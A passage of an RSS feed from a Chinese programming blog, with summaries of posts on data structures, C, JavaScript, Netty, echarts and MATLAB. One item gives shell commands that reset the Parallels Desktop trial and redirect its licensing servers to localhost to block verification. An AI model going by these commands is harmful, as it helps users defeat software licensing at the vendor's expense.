yan 黬 yan 黭 yan 黮 dan 黯 an 黰 zhen 黱 dai 黲 can 黳 yi 黴 mei 黵 zhan,dan 黶 yan 黷 du 黸 lu 黹 zhi 黺 fen 黻 fu 黼 fu 黽 min 黾 meng,min 黿 yuan 鼀 cu 鼁 qu 鼂 chao 鼃 wa 鼄 zhu 鼅 zhi 鼆 meng 鼇 ao 鼈 bie 鼉 tuo 鼊 bi 鼋 yuan 鼌 chao,zhao 鼍 tuo 鼎 ding 鼏 mi 鼐 nai 鼑 ding 鼒 zi 鼓 gu 鼔 gu 鼕 dong 鼖 fen 鼗 tao 鼘 yuan 鼙 pi 鼚 chang 鼛 gao 鼜 cao 鼝 yuan 鼞 tang 鼟 teng 鼠 shu 鼡 鼢 fen 鼣 fei 鼤 wen 鼥 ba 鼦 diao 鼧 tuo 鼨 zhong 鼩 qu 鼪 sheng 鼫 shi 鼬 you 鼭 shi 鼮 ting 鼯 wu 鼰 ju 鼱 jing 鼳 ju 鼴 yan 鼵 tu 鼶 si 鼷 xi 鼸 xian 鼹 yan 鼺 lei 鼻 bi 鼼 yao 鼽 qiu 鼾 han 鼿 wu 齀 wu 齁 hou 齂 xie 齃 e 齄 zha 齅 xiu 齆 weng 齇 zha 齈 nong 齉 nang 齊 qi 齋 zhai 齌 ji 齍 zi 齎 ji 齏 ji 齐 ji,qi 齑 ji 齒 chi 齓 chen 齔 chen 齕 he 齖 ya 齗 yin 齘 xie 齙 bao 齚 ze 齛 xie 齜 zi 齝 chi 齞 yan 齟 ju 齠 tiao 齡 ling 齢 ling 齣 chu 齤 quan 齥 xie 齦 yin 齧 nie 齨 jiu 齩 yao 齪 chuo 齫 yun 齬 yu 齭 chu 齮 yi 齯 ni 齰 ze 齱 zou 齲 qu 齳 yun 齴 yan 齵 yu 齶 e 齷 wo 齸 yi 齹 ci 齺 zou 齻 dian 齼 chu 齽 jin 齾 ya 齿 chi 龀 chen 龁 he 龂 yin 龃 ju 龄 ling 龅 bao 龆 tiao 龇 zi 龈 yin 龉 yu 龊 chuo 龋 qu 龌 wo 龍 long 龎 pang 龏 gong 龐 pang 龑 yan 龒 long 龓 long 龔 gong 龕 kan 龖 da 龗 ling 龘 da 龙 long 龚 gong 龛 kan 龜 gui 龝 qiu 龞 bie 龟 gui,jun,qiu 龠 yue 龡 chui 龢 he 龣 jiao 龤 xie 龥 yu &#34;</description>
    </item>
    <item>
      <title>苹果 iPhone、iPad 技术术语大全</title>
      <link>https://bchobby.github.io/posts/3f5aa8dd8913d3ebcb99f0f19ef32a2e/</link>
      <pubDate>Thu, 04 Jun 2015 14:15:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f5aa8dd8913d3ebcb99f0f19ef32a2e/</guid>
      <description>在苹果 iOS 开发过程中我们经常会碰到“DFU Mode”、“HSPA+”之类的技术名词。下面这个苹果 iPhone、iPad 技术术语大全将这些常见技术术语按字母顺序索引，并逐一给出简短实用的解释，一定能帮你省去很多查维基百科或百度知道的时间。&#xA;0-9&#xA;2G: Second generation data networking used by iPhone and iPad. Think of this like old-fashioned dial-up modems. (see EDGE.)&#xA;3G: Third generation data networking used by iPhone and iPad. Think of this like base level broadband Internet (cable/DSL). 3G is symbolized on the iPhone and iPad by 3G next to the carrier logo. (see HSPA and EVDO.)&#xA;4G: Forth generation data networking. Also a marketing term used by Sprint for WiMax, T-Mobile for HSPA+, and AT&amp;amp;T for HSPA+.</description>
    </item>
    <item>
      <title>查找——图文翔解Treap（树堆）</title>
      <link>https://bchobby.github.io/posts/5991d3ae8242c317cea6487db8d66062/</link>
      <pubDate>Thu, 04 Jun 2015 00:04:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5991d3ae8242c317cea6487db8d66062/</guid>
      <description>之前我们讲到二叉搜索树，从二叉搜索树到2-3树到红黑树到B-树。&#xA;二叉搜索树的主要问题就是其结构与数据相关，树的深度可能会很大，Treap树就是一种解决二叉搜索树可能深度过大的另一种数据结构。&#xA;Treap&#xA;Treap=Tree+Heap。Treap本身是一棵二叉搜索树，它的左子树和右子树也分别是一个Treap，和一般的二叉搜索树不同的是， Treap纪录一个额外的数据，就是优先级。Treap在以关键码构成二叉搜索树的同时，还满足堆的性质。 这些优先级是是在结点插入时，随机赋予的，Treap根据这些优先级满足堆的性质。这样的话，Treap是有一个随机附加域满足堆的性质的二叉搜索树，其结构 相当于以随机数据插入的二叉搜索树。其基本操作的期望时间复杂度为O(logn)。相对于其他的平衡二叉搜索树，Treap的特点是实现简单，且能基本实现随机平衡的结构。 Treap维护堆性质的方法 只用到了旋转，只需要两种旋转，编程复杂度比Splay要小一些。 插入 给节点随机分配一个优先级，先和二叉搜索树的插入一样，先把要插入的点插入到一个叶子上，然后 跟维护堆一样，如果当前节点的优先级比根大就旋转，如果 当前节点是根的左儿子就右旋，如果当前节点是根的右儿子就左旋。 下面图解旋转操作： 由于旋转是O(1)的，最多进行h次（h是树的高度），插入的复杂度是O(h)的，在期望情况下h=O(logn)，所以它的期望复杂度是O(logn)。 下面我们以一个 实例来图解Treap的插入过程，看完之后你一定对Treap的插入了然于胸。 删除&#xA;删除一个节点有两种方式，可以像删除二叉树节点那样删除一个节点，也可以像删除堆中节点那样删除。&#xA;1、用二叉搜索树的方式删除 先在二叉查找树中找到要删除的节点的位置,然后根据节点分以下情况: 情况一:&#xA;该节点是 叶节点(没有非空子节 点的节点),直接把节点删除即可。 情况二： 该节点是 链节点(只有一个非空子节点的节点),为了删除这个节点而不影响它的子树,需要把它的子节点代替它的位置,然后把它删除。 情况三： 该节点 有两个非空子节点。由于情况比较复杂,一般的策略是 用它右子树的最小值来代替它,然后把它删除。如图所示,删除节点2时,在它的右子树中找到最小的节点3, 该节点一定为待删除节点的后继。删除节点3(它可能是叶节点或者链节点),然后把节点2的值改为3。 （当然，我们也可以使用结点的左子树的最大值来替代它， 为了不使Treap向一边偏沉,我们可以随机地选取是用后继还是前驱代替它, 并保证两种选择的概率均等。） 关于查找最小值：&#xA;基本方法就是从子树的根节点开始, 如果左子节点不为空,那么就访问左子节点,直到左子节点为空,当前节点就是该子树的最 小值节点。删除它只需用它的右子节点代替它本身。&#xA;2、用堆的方式删除&#xA;因为Treap满足堆性质，所以只需要把要删除的节点旋转到叶节点上，然后直接删除就可以了。&#xA;具体的方法：&#xA;如果该节点的左子节点的优先级小于右子节点的优先级，右旋该节点,使该节点降为右子树的根节点，然后访问右子树的根节点,继续操作；&#xA;反之，左旋该节点,使该节点降为左子树的根节点，然后访问左子树的根节点，继续操作，直到变成可以直接删除的节点。&#xA;（即：让小优先级的结点旋到上面，满足堆的性质）&#xA;删除最多进行O(h)次旋转，期望复杂度是O(logn)。&#xA;查找&#xA;和一般的二叉搜索树一样，但是由于Treap的随机化结构，Treap中查找的期望复杂度是O(logn)。 对比 与 Splay树 相比: Splay 和 BST 一样,不需要维护任何附加域,比 Treap 在空间上有节约。但 Splay 在查找时也会调整结构,这使得 Splay 灵活性稍有欠缺。 Splay 的查找插入删除等基本操作的时间复杂度为均摊O(logN)而非期望。可以故意构造出使 Splay 变得很慢的数据。 与AVL 红黑树相比： AVL 和红黑树在调整的过程中,旋转都是均摊 O(1)的,而 Treap 要 O(logN)。与 Treap 的随机优先级不同,它们维护的附加域要动态的调整,而 Treap 的随机修正值一经生成不再改变,这一点使得灵活性不如 Treap。 AVL 和红黑树都是时间效率很高的经典算法,在许多专业的应用领域(如 STL)有着十分重要的地位。然而AVL和红黑树的编程实现的难度要比Treap大得多。 维护子树的大小</description>
    </item>
    <item>
      <title>Android客户端和服务端如何使用Token和Session</title>
      <link>https://bchobby.github.io/posts/85690ab6ee862fdf6fd6d87f1802c766/</link>
      <pubDate>Mon, 01 Jun 2015 21:46:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/85690ab6ee862fdf6fd6d87f1802c766/</guid>
      <description>对于初学者来说，对Token和Session的使用难免会限于困境，开发过程中知道有这个东西，但却不知道为什么要用他？更不知道其原理，今天我就带大家一起分析分析这东西。&#xA;一、我们先解释一下他的含义：&#xA;1、Token的引入：Token是在客户端频繁向服务端请求数据，服务端频繁的去数据库查询用户名和密码并进行对比，判断用户名和密码正确与否，并作出相应提示，在这样的背景下，Token便应运而生。&#xA;2、Token的定义：Token是服务端生成的一串字符串，以作客户端进行请求的一个令牌，当第一次登录后，服务器生成一个Token便将此Token返回给客户端，以后客户端只需带上这个Token前来请求数据即可，无需再次带上用户名和密码。&#xA;3、使用Token的目的：Token的目的是为了减轻服务器的压力，减少频繁的查询数据库，使服务器更加健壮。&#xA;了解了Token的意义后，我们就更明确的知道为什么要用他了。&#xA;二、如何使用Token？&#xA;这是本文的重点，在这里我就介绍常用的两种方式。&#xA;1、用设备号/设备mac地址作为Token（推荐）&#xA;客户端：客户端在登录的时候获取设备的设备号/mac地址，并将其作为参数传递到服务端。&#xA;服务端：服务端接收到该参数后，便用一个变量来接收同时将其作为Token保存在数据库，并将该Token设置到session中，客户端每次请求的时候都要统一拦截，并将客户端传递的token和服务器端session中的token进行对比，如果相同则放行，不同则拒绝。&#xA;分析：此刻客户端和服务器端就统一了一个唯一的标识Token，而且保证了每一个设备拥有了一个唯一的会话。该方法的缺点是客户端需要带设备号/mac地址作为参数传递，而且服务器端还需要保存；优点是客户端不需重新登录，只要登录一次以后一直可以使用，至于超时的问题是有服务器这边来处理，如何处理？若服务器的Token超时后，服务器只需将客户端传递的Token向数据库中查询，同时并赋值给变量Token，如此，Token的超时又重新计时。&#xA;2、用session值作为Token&#xA;客户端：客户端只需携带用户名和密码登陆即可。&#xA;客户端：客户端接收到用户名和密码后并判断，如果正确了就将本地获取sessionID作为Token返回给客户端，客户端以后只需带上请求数据即可。&#xA;分析：这种方式使用的好处是方便，不用存储数据，但是缺点就是当session过期后，客户端必须重新登录才能进行访问数据。&#xA;三、使用过程中出现的问题以及解决方案？&#xA;刚才我们轻松介绍了Token的两种使用方式，但是在使用过程中我们还出现各种问题，Token第一种方法中我们隐藏了一个在网络不好或者并发请求时会导致多次重复提交数据的问题。&#xA;该问题的解决方案：将session和Token套用，如此便可解决，如何套用呢？请看这段解释：&#xA;这就是解决重复提交的方案。&#xA;总结：以上是个人对开发中使用Token和session的一点总结。</description>
    </item>
    <item>
      <title>C语言初学者编程规范—命名规则</title>
      <link>https://bchobby.github.io/posts/7e477e7be77074d0afc89f640c8f9a13/</link>
      <pubDate>Mon, 01 Jun 2015 20:13:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e477e7be77074d0afc89f640c8f9a13/</guid>
      <description>C是一门朴素的语言，你使用的命名也应该这样。与Modula-2和Pascal程序员不同，C程序员不使用诸如“ThisVariableIsATemporaryCounter”这样“聪明”的名字。C程序员应该叫它“tmp”，这写起来更简单，也不会更难懂。 然而，当面对复杂情况时就有些棘手，给全局变量取一个描述性的名字是必要的。把一个全局函数叫做“foo”是一种目光短浅的行为。全局函数也一样，如果你有一个统计当前用户个数的函数，应当把它命名为“count_active_user()”或者简单点些的类似名称，不应该命名为“cntusr()”。 1 三种流行的命名法则目前，业界共有四种命名法则：驼峰命名法、匈牙利命名法、帕斯卡命名法和下划线命名法，其中前三种是较为流行的命名法。&#xA;(1)驼峰命令法。正如它的名称所表示的那样，是指混合使用大小写字母来构成变量和函数的名字。例如，下面是分别用骆驼式命名法和下划线法命名的同一个函数： printEmployeePaychecks()； print_employee_paychecks()；&#xA;第一个函数名使用了驼峰命名法，函数名中的每一个逻辑断点都有一个大写字母来标记。第二个函数名使用了下划线法，函数名中的每一个逻辑断点都有一个下划线来标记。&#xA;驼峰命名法近年来越来越流行了，在许多新的函数库和Microsoft Windows这样的环境中，它使用得当相多。另一方面，下划线法是C出现后开始流行起来的，在许多旧的程序和UNIX这样的环境中，它的使用非常普遍。&#xA;(2)匈牙利命名法。广泛应用于象Microsoft Windows这样的环境中。Windows 编程中用到的变量(还包括宏)的命名规则为匈牙利命名法，这种命名技术是由一位能干的 Microsoft 程序员查尔斯-西蒙尼(Charles Simonyi) 提出的。&#xA;匈牙利命名法通过在变量名前面加上相应的小写字母的符号标识作为前缀，标识出变量的作用域、类型等。这些符号可以多个同时使用，顺序是先m_(成员变量)、再指针、再简单数据类型、再其它。这样做的好处在于能增加程序的可读性，便于对程序的理解和维护。&#xA;例如：m_lpszStr, 表示指向一个以0字符结尾的字符串的长指针成员变量。 匈牙利命名法关键是：标识符的名字以一个或者多个小写字母开头作为前缀；前缀之后的是首字母大写的一个单词或多个单词组合，该单词要指明变量的用途。&#xA;(3)帕斯卡(pascal)命名法。与驼峰命名法类似，二者的区别在于：驼峰命名法是首字母小写，而帕斯卡命名法是首字母大写，如： DisplayInfo(); string UserName; 二者都是采用了帕斯卡命名法。&#xA;(4)三种命名规则的小结：MyData就是一个帕斯卡命名的示例；myData是一个驼峰命名法,它第一个单词的第一个字母小写,后面的单词首字母大写,看起来像一个骆驼；iMyData是一个匈牙利命名法,它的小写的i说明了它的型态，后面的和帕斯卡命名相同，指示了该变量的用途。 2 命名的基本原则(1)标识符的命名要清晰、明了，有明确含义，同时使用完整的单词或大家基本可以理解的缩写，避免使人产生误解——尽量采用采用英文单词或全部中文全拼表示，若出现英文单词和中文混合定义时，使用连字符“_”将英文与中文割开。较短的单词可通过去掉“元音”形成缩写；较长的单词可取单词的头几个字母形成缩写；一些单词有大家公认的缩写。例如：temp-&amp;gt;tmp、flag-&amp;gt;标志寄存器、statistic-&amp;gt;stat、increment-&amp;gt;inc、message-&amp;gt;msg等缩写能够被大家基本认可。&#xA;(2)命名中若使用特殊约定或缩写，则要有注释说明。应该在源文件的开始之处，对文件中所使用的缩写或约定，特别是特殊的缩写，进行必要的注释说明。&#xA;(3)自己特有的命名风格，要自始至终保持一致，不可来回变化。个人的命名风格，在符合所在项目组或产品组的命名规则的前提下，才可使用。(即命名规则中没有规定到的地方才可有个人命名风格)。&#xA;(4)对于变量命名，禁止取单个字符(如i 、j 、k… )，建议除了要有具体含义外，还能表明其变量类型、数据类型等，但i 、j 、k 作局部循环变量是允许的。变量，尤其是局部变量，如果用单个字符表示，很容易敲错(如i写成j)，而编译时又检查不出来，有可能为了这个小小的错误而花费大量的查错时间。&#xA;(5)除非必要，不要用数字或较奇怪的字符来定义标识符。&#xA;(6)命名规范必须与所使用的系统风格保持一致，并在同一项目中统一。&#xA;(7)在同一软件产品内，应规划好接口部分标识符(变量、结构、函数及常量)的命名，防止编译、链接时产生冲突。对接口部分的标识符应该有更严格限制，防止冲突。如可规定接口部分的变量与常量之前加上“模块”标识等。&#xA;(8)用正确的反义词组命名具有互斥意义的变量或相**作的函数等。 下面是一些在软件中常用的反义词组。 add / remove begin / end create / destroy insert / delete first / last g et / release increment / decrement put / get add / delete lock / unlock open / close min / max old / new start / stop next / previous source / target show / hide send / receive source / destination cut / paste up / down</description>
    </item>
    <item>
      <title>贪心算法—活动选择问题</title>
      <link>https://bchobby.github.io/posts/e1c7d55f53e8de4198abfcfbd7908245/</link>
      <pubDate>Mon, 01 Jun 2015 20:05:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1c7d55f53e8de4198abfcfbd7908245/</guid>
      <description>4.1 活动选择问题 1．问题的理解与描述 假定有n个需要使用同一个这样的资源的活动，每次只能有一个活动使用该资源。每一个活动有一个开始时间 si，一个完成时间 fi，其中0 ≤ si &amp;lt; fi &amp;lt; ∞。如果区间[si , fi)和[sj , fj)不相交，活动ai和aj是相容的（即如果si≥ fj 或 sj ≤ fi，ai和aj相容）。活动选择问题是选取一个由相容活动构成的最大集合。 输入：按完成时间排好序的活动开始时间数组s，完成时间数组 f。 输出：表示一个最大的相容活动组的向量{x1, x2, …, xn}，其中 xi={01第i个活动在此最大相容活动组中否则，i1,2,...,n。 2．最优子结构 定义集合 Sij=ak∈S:fi≤sk&amp;lt;fk≤sj ,为表示整个问题，添加两个假想的活动a0和an+1并约定f0 = 0及sn+1 = ∞。于是S = S0 n+1，而i和j的取值范围为0 ≤ i，j ≤ n + 1。显然只要i≥ j，就有Sij =∅。假定Sij的一个解包含活动ak，每一个都构成Sij中的活动的子集。设Aij是Sij的一个最优解， ak∈Aij 。利用 ak 产生两个子问题: Sik和Skj ，则Aij中Sik的解Aik和Skj的解Akj必对于: Sik和Skj也是最优的。 3．贪婪选择性 定理4-1 考虑任一非空子问题Sij，并设am为Sij中最早完成的一个活动： fm=minfk:ak∈Sij 。 则 （1）活动 am 包含在 Sij 的一个最大相容活动子集合中。 （2）子问题 Sim 是空的，所以选择 am 将使得 Smj 成为仅有的非空子问题。 ４．算法的伪代码描述 RECURSIVE-ACTIVITY-SELECTOR (s, f, i, j) 1 m ← i + 1 2 while m &amp;lt; j 且 sm &amp;lt; fi 求Sij中的第一个活动 3 do xm←0 4 m ← m + 1 5 if m &amp;lt; j 6 then xm←1 7 RECURSIVE-ACTIVITY-SELECTOR (s, f, m, j) 算法运行时间：Θ(n)</description>
    </item>
    <item>
      <title>JS错误：Uncaught SyntaxError: Unexpected token ILLEGAL</title>
      <link>https://bchobby.github.io/posts/1509754c4b4d92ec4bf1118eb0d5253e/</link>
      <pubDate>Mon, 01 Jun 2015 11:25:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1509754c4b4d92ec4bf1118eb0d5253e/</guid>
      <description> $(&#39;tbody&#39;, &#39;#&#39; + tableId).append(&#39;xxx&#39;); 用js的onmouseover鼠标事件动态改变背景色&#xA;如果是this.style.backgroundColor=#eeeeee&#xA;将出现Uncaught SyntaxError: Unexpected token ILLEGAL错误 未捕获的SyntaxError：意外的非法标记&#xA;如果改为this.style.backgroundColor=&#34;#eeeeee&#34;或者this.style.backgroundColor=\&#34;#eeeeee\&#34;&#xA;将出现Uncaught SyntaxError: Unexpected token }错误 未捕获的SyntaxError：意外的标记 }&#xA;因为 οnmοuseοver=&#34;this.style.backgroundColor=#eeeeee&#34; 外面已经有一对引号了&#xA;正确的做法应该是 οnmοuseοver=&#34;this.style.backgroundColor=\&#39;#eeeeee\&#39;&#34; ，总之就是引号标记错误&#xA;还有更绕的&#xA;var s = &#34;\&#34;&#34;+dataObj[$(th_obj).attr(&#39;SID&#39;)]+&#34;\&#34;&#34;; dataObj = &#34;.....&#34;; //s是变量 在用js，jquery动态添加数据的时候 尤其注意‘ ”有时还需要转义。 </description>
    </item>
    <item>
      <title>Netty的并发编程实践2：volatile的正确使用</title>
      <link>https://bchobby.github.io/posts/57af9ba4604593e9fa729823ca633f8c/</link>
      <pubDate>Thu, 28 May 2015 13:43:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57af9ba4604593e9fa729823ca633f8c/</guid>
      <description> 长久以来大家对于volatile如何正确使用有很多的争议，既便是一些经验丰富的Java设计师，对于volatile和多线程编程的认识仍然存在误区。其实，volatile的使用非常简单，只要理解了Java的内存模型和多线程编程的基础知识，正确使用volatile是不存在任何问题的。下面我们结合Netty的源码，对volatile的正确使用进行说明。&#xA;打开NioEventLoop的代码，我们来看控制I/O操作和其他任务运行比例的ioRatio，它是int类型的变量，定义如下。&#xA;我们发现，它被定义为volatile，为什么呢？我们首先对volatile关键字进行说明，然后再结合Netty的代码进行分析。&#xA;关键字volatile是Java提供的最轻量级的同步机制，Java内存模型对volatile专门定义了一些特殊的访问规则。下面我们就看它的规则。&#xA;当一个变量被volatile修饰后，它将具备以下两种特性。&#xA;◎ 线程可见性：当一个线程修改了被volatile修饰的变量后，无论是否加锁，其他线程都可以立即看到最新的修改，而普通变量却做不到这点。&#xA;◎ 禁止指令重排序优化，普通的变量仅仅保证在该方法的执行过程中所有依赖赋值结果的地方都能获取正确的结果，而不能保证变量赋值操作的顺序与程序代码的执行顺序一致。举个简单的例子说明下指令重排序优化问题，如图21-5所示。&#xA;图21-5 指令重排序和优化导致线程无法退出&#xA;我们预期程序会在3s后停止，但是实际上它会一直执行下去，原因就是虚拟机对代码进行了指令重排序和优化，优化后的指令如下。&#xA;if （!stop）&#xA;While(true)&#xA;......&#xA;重排序后的代码是无法发现stop被主线程修改的，因此无法停止运行。要解决这个问题，只要将stop前增加volatile修饰符即可。代码修改如图21-6所示。&#xA;再次运行，我们发现3s后程序退出，达到了预期效果，使用volatile解决了如下两个问题。&#xA;◎ main线程对stop的修改在workThread线程中可见，也就是说workThread线程立即看到了其他线程对于stop变量的修改。&#xA;◎ 禁止指令重排序，防止因为重排序导致的并发访问逻辑混乱。&#xA;一些人认为使用volatile可以代替传统锁，提升并发性能，这个认识是错误的。volatile仅仅解决了可见性的问题，但是它并不能保证互斥性，也就是说多个线程并发修改某个变量时，依旧会产生多线程问题。因此，不能靠volatile来完全替代传统的锁。&#xA;图21-6 volatile解决指令重排序和编译优化问题&#xA;根据经验总结，volatile最适合使用的是一个线程写，其他线程读的场合，如果有多个线程并发写操作，仍然需要使用锁或者线程安全的容器或者原子变量来代替。&#xA;讲了volatile的原理之后，我们继续对Netty的源码做分析。上面讲到了ioRatio被定义成volatile，下面看看代码为什么要这样定义。参见如图21-7所示代码。&#xA;图21-7 volatile在NioEventLoop线程中的应用&#xA;通过代码分析我们发现，在NioEventLoop线程中，ioRatio并没有被修改，它是只读操作。既然没有修改，为什么要定义成volatile呢？继续看代码，我们发现NioEventLoop提供了重新设置I/O执行时间比例的公共方法，接口如图21-8所示。&#xA;图21-8 修改volatile变量&#xA;首先，NioEventLoop线程没有调用该方法，说明调整I/O执行时间比例是外部发起的操作，通常是由业务的线程调用该方法，重新设置该参数。这样就形成了一个线程写、一个线程读。根据前面针对volatile的应用总结，此时可以使用volatile来代替传统的synchronized关键字提升并发访问的性能。&#xA;Netty中大量使用了volatile来修改成员变量，如果理解了volatile的应用场景，读懂Netty volatile的相关代码还是比较容易的。 </description>
    </item>
    <item>
      <title>echarts中横坐标值显示不全(自动隐藏)解决方案</title>
      <link>https://bchobby.github.io/posts/f4a56a750b990e08faf62f4bfe08c0b6/</link>
      <pubDate>Tue, 26 May 2015 16:54:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f4a56a750b990e08faf62f4bfe08c0b6/</guid>
      <description>echarts中，横轴数据如果非常多，会自动隐藏一部分数据，我们可以通过属性interval来进行调整。&#xA;如下图，当横轴时间为13天时，echarts会自动隔天显示&#xA;如果我们想显示全，则需要在xAxis 属性加上axisLabel:{interval: 0}&#xA;&#34;xAxis&#34;:[{&#34;data&#34;:[&#34;2015-5-13&#34;,&#34;2015-5-14&#34;,&#34;2015-5-15&#34;,&#34;2015-5-16&#34;,&#34;2015-5-17&#34;,&#34;2015-5-18&#34;,&#34;2015-5-19&#34;,&#34;2015-5-20&#34;,&#34;2015-5-21&#34;,&#34;2015-5-22&#34;,&#34;2015-5-23&#34;,&#34;2015-5-24&#34;,&#34;2015-5-25&#34;], &#34;type&#34;:&#34;category&#34;, &#34;axisLabel&#34;:{ interval: 0 } }],效果如下： 查看echarts官网的文档，可以得知：</description>
    </item>
    <item>
      <title>ParallelsDesktop 多次使用，屏蔽验证</title>
      <link>https://bchobby.github.io/posts/8f2982cd873fade502358edb705a50a4/</link>
      <pubDate>Mon, 25 May 2015 10:12:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8f2982cd873fade502358edb705a50a4/</guid>
      <description>Parallels Desktop 10.x 防盗版做的太好了，只能用14天试用版，但是过期后没办法清除已经记录的信息。用下面的代码可以完全清除掉了。虽然麻烦但是对偶尔用一次的人来说还算不错的。&#xA;sudo -p &#34;Enter your password to confirm the deletion:&#34; rm -rf &#34;/Applications/Parallels Desktop.app&#34; &#34;/Library/Preferences/Parallels&#34; &#34;/private/tmp/.pd&#34; &#34;/private/var/.Parallels_swap&#34; &#34;/private/var/db/BootCaches/`dscl localhost -read /Search/Users/$(whoami) | grep GeneratedUID | cut -c15-`/app.com.parallels.desktop.console.playlist&#34; &#34;/private/var/db/Parallels&#34; &#34;/private/var/log/prl_disp_service_server.log&#34; &#34;/private/var/root/Library/Preferences/com.parallels.desktop.plist&#34; &#34;/private/var/run/hdiejectd.pid&#34; &#34;/private/var/run/lic_events&#34; &#34;/private/var/run/prl_pcsc_proxy.shm&#34; &#34;/private/var/tmp/prl_event_tap.socket_501&#34; ~/&#34;Documents/.parallels-vm-directory&#34; ~/&#34;Library/Preferences/com.parallels.desktop.console.LSSharedFileList.plist&#34; ~/&#34;Library/Preferences/com.parallels.Parallels Desktop Statistics.plist&#34; ~/&#34;Library/Preferences/com.parallels.Parallels Desktop.plist&#34; ~/&#34;Library/Preferences/com.parallels.Parallels.plist&#34; ~/&#34;Library/Preferences/Parallels&#34; ~/&#34;Library/Saved Application State/com.parallels.desktop.console.savedState&#34; &#34;/Users/Shared/Parallels&#34; &#34;/usr/bin/prl_convert&#34; &#34;/usr/bin/prl_disk_tool&#34; &#34;/usr/bin/prl_perf_ctl&#34; &#34;/usr/bin/prlctl&#34; &#34;/usr/bin/prlsrvctl&#34; &#34;/usr/share/man/man8/prl_convert.8&#34; &#34;/usr/share/man/man8/prl_disk_tool.8&#34; &#34;/usr/share/man/man8/prlctl.8&#34; &#34;/usr/share/man/man8/prlsrvctl.8&#34; 还有就是屏蔽验证&#xA;sudo sh -c &#39;HostsText=&#34;127.0.0.1 registration.parallels.com\n127.0.0.1 webservices.pdfm10.parallels.com\n127.0.0.1 vl.pdfm10.parallels.com\n127.0.0.1 account.parallels.com\n127.0.0.1 blist.parallels.com\n127.0.0.1 blist.</description>
    </item>
    <item>
      <title>C语言中关于float和double的输入输出格式</title>
      <link>https://bchobby.github.io/posts/56442a15ea62ba1d6185cef48cc73d96/</link>
      <pubDate>Sat, 23 May 2015 14:50:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56442a15ea62ba1d6185cef48cc73d96/</guid>
      <description>1.对于double类型，输入格式为scanf(&#34;%lf %lf&#34;, &amp;amp;foo, &amp;amp;bar);&#xA;对于float类型，输入格式为scanf(&#34;%f %f, &amp;amp;foo, &amp;amp;bar);&#xA;2.对于double类型和float类型，输出格式均为printf(&#34;%f %f\n&#34;, foo, bar);&#xA;转载于:https://www.cnblogs.com/la0bei/p/4524133.html</description>
    </item>
    <item>
      <title>matlab调用笔记本摄像头拍照并连续保存</title>
      <link>https://bchobby.github.io/posts/39e05539ef69f72786bc3164999918cd/</link>
      <pubDate>Tue, 12 May 2015 21:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39e05539ef69f72786bc3164999918cd/</guid>
      <description>%% 图像抓取并存入当前目录image文件夹下 % 建立图片存储文件夹 if exist(&#39;image&#39;,&#39;dir&#39;)~= 7 mkdir([cd,&#39;/image&#39;]) % 与下一句一样 end directory=[cd,&#39;/image/&#39;]; %当前工作目录下文件夹 %定义一个监控界面 hf = figure(&#39;Units&#39;, &#39;Normalized&#39;, &#39;Menubar&#39;, &#39;None&#39;,&#39;NumberTitle&#39;, &#39;off&#39;, &#39;Name&#39;, &#39;实时拍照系统&#39;); ha = axes(&#39;Parent&#39;, hf, &#39;Units&#39;, &#39;Normalized&#39;, &#39;Position&#39;, [0.05 0.2 0.85 0.7]); axis off %定义三个按钮控件 hb1 = uicontrol(&#39;Parent&#39;, hf, &#39;Units&#39;, &#39;Normalized&#39;,&#39;Position&#39;, [0.2 0.05 0.15 0.1], &#39;String&#39;, &#39;预览&#39;, &#39;Callback&#39;, [&#39;imaqhwinfo;&#39;... &#39;obj = videoinput(&#39;&#39;winvideo&#39;&#39;);&#39;... &#39;set(obj, &#39;&#39;FramesPerTrigger&#39;&#39;, 1);&#39;... &#39;set(obj, &#39;&#39;TriggerRepeat&#39;&#39;, Inf);&#39;... &#39;objRes = get(obj, &#39;&#39;VideoResolution&#39;&#39;);&#39; ... &#39;nBands = get(obj, &#39;&#39;NumberOfBands&#39;&#39;);&#39; .</description>
    </item>
    <item>
      <title>Matlab中的静态变量和全局变量</title>
      <link>https://bchobby.github.io/posts/d78ff1871ebfb8174f4417a3ddea770a/</link>
      <pubDate>Tue, 12 May 2015 21:04:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d78ff1871ebfb8174f4417a3ddea770a/</guid>
      <description>1、静态变量（persistent）&#xA;在函数中声明的变量，当函数调用完之后就会释放。如果想保留这个变量的值（供该函数下一次调用），可以把这个变量声明为静态变量。静态变量不能在声明的时候赋值，而且只能在function里声明,且只有这个function才能认识它（main函数也不行）。x声明后是[],就是一个空的array。声明后需初始化，注意不能直接用persistent x=2;而是用isempty(x)判断x是否已经赋值。如：&#xA;function y=test() persistent x; if isempty(x) x=0; end 2、全局变量（global）&#xA;如果想让某个函数中定义的变量能够被其他函数调用，需要用到全局变量。注意，在这两个函数中都要用global修饰这个变量。如：&#xA;function t1 global x; x=0; function t2 global x; y=x end 参考：http://yunniyu.blog.163.com/blog/static/22208431201261665217676/</description>
    </item>
    <item>
      <title>Failed to execute goal com.github.wvengen:proguard-maven-plugin:2.0.10:proguard (default) on project</title>
      <link>https://bchobby.github.io/posts/9150d5126238d75c028d280504c41ef0/</link>
      <pubDate>Mon, 11 May 2015 11:53:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9150d5126238d75c028d280504c41ef0/</guid>
      <description>执行Maven Install打包的时候，出现以下错误信息：&#xA;[ERROR] Failed to execute goal com.github.wvengen:proguard-maven-plugin:2.0.10:proguard (default) on project core: Can&#39;t find file F:\Workspaces\base-core\core\target\core-2.0\WEB-INF\classes -&amp;gt; [Help 1] [ERROR] [ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch. [ERROR] Re-run Maven using the -X switch to enable full debug logging. [ERROR] [ERROR] For more information about the errors and possible solutions, please read the following articles: [ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/MojoFailureException 这是&amp;lt;injar&amp;gt;${project.build.finalName}/WEB-INF/classes/&amp;lt;/injar&amp;gt;配置导致的问题。 